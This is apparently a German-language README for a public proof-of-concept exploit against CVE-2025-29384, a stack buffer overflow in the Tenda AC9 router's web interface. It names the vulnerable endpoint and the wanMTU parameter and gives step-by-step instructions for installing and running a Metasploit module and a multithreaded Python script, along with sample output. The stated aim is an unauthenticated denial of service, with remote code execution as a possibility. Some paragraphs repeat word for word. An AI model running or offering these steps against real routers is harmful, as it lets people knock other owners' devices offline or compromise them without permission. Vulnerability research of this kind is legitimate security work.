
Proof-of-concept-Exploit für CVE-2025-29384, einen kritischen stack-basierten Pufferüberlauf in Tenda AC9-Routern. Enthält Python- und Metasploit-Module für nicht authentifizierten Remote-DoS und potenzielle RCE auf MIPS-basierter Firmware.
Dieses Repository enthält einen erweiterten Proof-of-Concept (PoC)-Exploit für CVE-2025-29384, eine kritische stapelbasierte Pufferüberlauf-Schwachstelle, die im Tenda AC9 Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle erlaubt nicht authentifizierten entfernten Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Exploit-Entwicklungsfähigkeiten zu demonstrieren, zur Cybersicherheits-Community beizutragen und eine lehrreiche Präsentation für akademische Bewertungen (z. B. Cybersicherheits-Stipendien) zu bieten. Dieses Repository enthält einen erweiterten Proof-of-Concept (PoC)-Exploit für CVE-2025-29384, eine kritische stapelbasierte Pufferüberlauf-Schwachstelle, die im Tenda AC9 Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle erlaubt nicht authentifizierten entfernten Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Exploit-Entwicklungsfähigkeiten zu demonstrieren, zur Cybersicherheits-Community beizutragen und eine lehrreiche Präsentation für akademische Bewertungen, wie z. B. Cybersicherheits-Stipendien, zu bieten.
CVE-2025-29384 betrifft die Webverwaltungsschnittstelle des Tenda AC9 Routers, insbesondere den Endpunkt:
/goform/AdvSetMacMtuWan
Die Schwachstelle besteht aufgrund einer fehlenden Grenzüberprüfung des wanMTU-Parameters, der über eine HTTP-POST-Anfrage verarbeitet wird. Die Eingabe wird ohne Validierung in einen Stack-Puffer fester Größe kopiert, was zu einem klassischen stapelbasierten Pufferüberlauf führt.
Die anfällige Funktion (hypothetische Rekonstruktion) folgt dieser Struktur:
void process_mtu(char *input) {
char buffer[256]; // Stack-Puffer fester Größe
strcpy(buffer, input); // Keine Längenprüfung, verursacht Überlauf
// MTU-Wert verarbeiten...
}
Ein Angreifer, der eine überdimensionierte Nutzlast (z. B. 1024+ Bytes) sendet, überschreibt benachbarten Speicher, einschließlich der Rücksprungadresse der Funktion, was potenziell zu Codeausführung führen kann.
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
Der Tenda AC9 ist ein Dual-Band-WLAN-Router mit folgenden Spezifikationen:
Dieses Repository enthält auch ein Ruby-basiertes Metasploit-Modul für CVE-2025-29384. Das Modul lässt sich nahtlos in das Metasploit-Framework integrieren und ermöglicht die Ausnutzung der Schwachstelle über msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Suchen Sie die Ruby-Moduldatei und kopieren Sie sie in das Exploit-Verzeichnis von Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Hinweis: Falls das Verzeichnis nicht existiert, erstellen Sie es:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Starten Sie das Metasploit-Framework:
msfconsole
Laden Sie das Modul:
use exploit/linux/http/tenda_ac9_stack_overflow
Legen Sie die Ziel-IP-Adresse fest:
set RHOSTS <target_ip>
Legen Sie die Nutzlastgröße fest (optional, Standard ist 1024):
set PAYLOAD_SIZE 2048
Führen Sie den Exploit aus:
run
[*] Ziele Tenda AC9 unter 192.168.0.1:80 an...
[*] Sende Nutzlast der Größe 2048...
[+] Nutzlast erfolgreich gesendet!
[*] Antwort: HTTP/1.1 200 OK...
Erfolg: Der Webserver des Routers stürzt ab und verursacht einen Denial-of-Service (DoS)-Zustand.
Fehlschlag: Der Router bleibt betriebsbereit, was darauf hindeutet, dass er möglicherweise nicht anfällig ist oder eine gepatchte Firmware-Version ausführt.
Dieser PoC ist ein Python-basierter Exploit, der überdimensionierte Eingaben an /goform/AdvSetMacMtuWan sendet und einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen und das Potenzial für RCE aufzuzeigen.
Multithreading – Startet mehrere gleichzeitige Exploit-Versuche für höhere Zuverlässigkeit.
Dynamische Payloads – Generiert zufällige base64-kodierte Angriffszeichenfolgen.
Logging – Nutzt das Python-Logging-Modul für strukturierte Fehlersuche.
Anpassbare Parameter – Passt Ziel-IP, Nutzlastgröße und Thread-Anzahl an.
Dieser PoC ist ein Python-basierter Exploit, der überdimensionierte Eingaben an /goform/AdvSetMacMtuWan sendet und einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argument | Beschreibung |
|---|---|
--target | Router-IP (Standard: 192.168.0.1) |
--size | Nutzlastgröße in Bytes (Standard: 1024) |
--threads | Anzahl gleichzeitiger Threads (Standard: 5) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Ziel: 192.168.0.1
[INFO] Sende Nutzlast (2048 Bytes)...
[WARNING] Zeitüberschreitung beim Ziel – möglicher Absturz!
[INFO] Exploit-Sequenz abgeschlossen.
Erfolg: Die Weboberfläche des Routers reagiert nicht mehr (DoS-Zustand).
Fehlschlag: Der Router antwortet weiterhin (nicht anfällig oder falsche Firmware).